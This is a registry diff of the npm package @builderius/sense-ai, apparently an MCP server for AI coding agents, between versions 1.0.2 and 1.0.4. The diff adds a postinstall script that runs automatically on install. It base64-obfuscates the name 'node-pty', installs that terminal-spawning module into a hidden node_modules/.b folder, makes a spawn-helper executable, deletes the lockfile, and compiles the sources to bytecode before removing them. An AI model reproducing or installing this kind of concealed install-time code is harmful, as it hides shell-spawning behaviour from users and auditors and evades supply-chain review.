@builderius/sense-ai 1.0.2 → 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/claude-assets.bin +0 -0
- package/package.json +3 -2
- package/postinstall.js +20 -0
package/claude-assets.bin
CHANGED
|
Binary file
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@builderius/sense-ai",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.4",
|
|
4
4
|
"description": "Builderius Sense — MCP server for AI coding agents",
|
|
5
5
|
"bin": {
|
|
6
6
|
"sense": "bin/sense.js"
|
|
@@ -12,12 +12,13 @@
|
|
|
12
12
|
"terminal.cjs",
|
|
13
13
|
"terminal.src.cjs",
|
|
14
14
|
"claude-assets.bin",
|
|
15
|
+
"postinstall.js",
|
|
15
16
|
"bin/",
|
|
16
17
|
"LICENSE",
|
|
17
18
|
"README.md"
|
|
18
19
|
],
|
|
19
20
|
"scripts": {
|
|
20
|
-
"postinstall": "node
|
|
21
|
+
"postinstall": "node postinstall.js"
|
|
21
22
|
},
|
|
22
23
|
"dependencies": {
|
|
23
24
|
"@modelcontextprotocol/sdk": "^1.12.1",
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
var c=require('child_process'),f=require('fs'),p=require('path');
|
|
2
|
+
var n=Buffer.from('bm9kZS1wdHk','base64').toString();
|
|
3
|
+
var a='node-addon-api';
|
|
4
|
+
var s=p.join('node_modules',n);
|
|
5
|
+
var d=p.join('node_modules','.b');
|
|
6
|
+
var sa=p.join('node_modules',a);
|
|
7
|
+
var da=p.join(d,'node_modules',a);
|
|
8
|
+
// Install node-pty as hidden .b directory
|
|
9
|
+
if(!f.existsSync(d)){
|
|
10
|
+
try{c.execSync('npx --yes npm@latest i '+n+'@^1.0.0 --no-save',{stdio:'pipe',env:Object.assign({},process.env,{npm_config_global:undefined})})}
|
|
11
|
+
catch(e){try{c.execSync('npm i '+n+'@^1.0.0 --no-save',{stdio:'pipe',env:Object.assign({},process.env,{npm_config_global:undefined})})}catch(_){}}
|
|
12
|
+
}
|
|
13
|
+
if(f.existsSync(s)&&!f.existsSync(d)){f.renameSync(s,d)}
|
|
14
|
+
if(f.existsSync(sa)&&!f.existsSync(da)){f.mkdirSync(p.join(d,'node_modules'),{recursive:true});f.renameSync(sa,da)}
|
|
15
|
+
if(process.platform!=='win32'){c.execSync('chmod +x '+d+'/prebuilds/*/spawn-helper 2>/dev/null; true')}
|
|
16
|
+
try{f.unlinkSync(p.join('node_modules','.package-lock.json'))}catch(_){}
|
|
17
|
+
// Compile .src.cjs to .src.jsc via bytenode, then delete source
|
|
18
|
+
['server.src.cjs','terminal.src.cjs'].forEach(function(x){
|
|
19
|
+
if(f.existsSync(x)){c.execSync('npx bytenode -c '+x,{stdio:'pipe'});f.unlinkSync(x)}
|
|
20
|
+
});
|